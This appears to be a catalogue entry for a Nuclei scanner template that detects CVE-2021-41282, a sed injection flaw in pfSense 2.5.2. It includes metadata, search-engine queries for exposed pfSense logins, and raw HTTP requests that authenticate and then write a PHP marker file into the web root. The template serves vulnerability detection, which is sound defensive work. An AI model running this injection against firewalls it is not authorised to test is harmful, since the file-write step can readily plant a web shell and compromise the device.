CVE-2021-41282: pfSense - Arbitrary File Write
- Template: CVE-2021-41282
- Name: pfSense - Arbitrary File Write
- Description: diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
- Impact: Successful exploitation of this vulnerability can lead to unauthorized modification of critical system files, potentially resulting in a complete compromise of the pfSense firewall.
- Remediation: Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later.
- Severity: high
- Authors: cckuailong
- Tags: cve2021, cve, pfsense, rce, authenticated, vuln
- References: https://www.shielder.it/advisories/pfsense-remote-command-execution/, https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/, https://docs.netgate.com/downloads/pfSense-SA-22_02.webgui.asc, https://nvd.nist.gov/vuln/detail/CVE-2021-41282, https://docs.netgate.com/pfsense/en/latest/releases/22-01_2-6-0.html
- Cves: CVE-2021-41282
- Max requests: 4
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-41282.yaml
- Digest: 4b0a00483046022100bd5c526384a69d6530a12c638debeb7deb14b5e5599825a99501c0446d0bfe9e022100e6b49a4b94bb5670c2faf164d6ecd7701f6efbe86f241e9a1cf16768c68881d4
- Created at: 2022-03-19T09:05:40Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1711
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41282.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-74
- Cvss score: 8.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.87113
- Epss percentile: 0.99755
- Cpe: cpe:2.3:a:pfsense:pfsense:2.5.2:*:*:*:*:*:*:*
Metadata
- Fofa-query: title="pfsense - login"
- Google-query: intitle:"pfsense - login"
- Max-request: 4
- Product: pfsense
- Shodan-query: http.title:"pfsense - login"
- Vendor: pfsense
Products
| Product | Indexed | Url |
|---|---|---|
| pfsense:pfsense | yes | /v1/products/pfsense/pfsense |
Labels
- Name: pfSense - Command Injection
- Impact: Authenticated users can execute arbitrary sed commands, potentially leading to arbitrary file writes and system compromise.
- Remediation: Update to the latest version of pfSense or apply security patches addressing command injection vulnerabilities.
- Vulnerability type: command_injection
- Vulnerability impact: file_system_write
- Requirement type: logged_in
- Requirements: Attacker needs to be authenticated as a user
- Labels source: projectdiscovery
- From cve: CVE-2021-41282
```yaml
id: CVE-2021-41282
info:
name: pfSense - Arbitrary File Write
author: cckuailong
severity: high
description: |
diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized modification of critical system files, potentially resulting in a complete compromise of the pfSense firewall.
remediation: |
Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later.
reference:
- https://www.shielder.it/advisories/pfsense-remote-command-execution/
- https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/
- https://docs.netgate.com/downloads/pfSense-SA-22_02.webgui.asc
- https://nvd.nist.gov/vuln/detail/CVE-2021-41282
- https://docs.netgate.com/pfsense/en/latest/releases/22-01_2-6-0.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-41282
cwe-id: CWE-74
epss-score: 0.87113
epss-percentile: 0.99755
cpe: cpe:2.3:a:pfsense:pfsense:2.5.2:*:*:*:*:*:*:*
metadata:
max-request: 4
vendor: pfsense
product: pfsense
shodan-query: http.title:"pfsense - login"
fofa-query: title="pfsense - login"
google-query: intitle:"pfsense - login"
tags: cve2021,cve,pfsense,rce,authenticated,vuln
http:
- raw:
- |
GET /index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
__csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login=
- |
GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1
Host: {{Hostname}}
- |
GET /test.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(body, 'c3959e8a43f1b39b0d1255961685a238')"
- "status_code==200"
condition: and
extractors:
- type: regex
name: csrf_token
group: 1
regex:
- '(sid:[a-z0-9,;:]+)'
internal: true
part: body
digest: 4b0a00483046022100bd5c526384a69d6530a12c638debeb7deb14b5e5599825a99501c0446d0bfe9e022100e6b49a4b94bb5670c2faf164d6ecd7701f6efbe86f241e9a1cf16768c68881d4:922c64590222798bb761d5b6d8e72950
```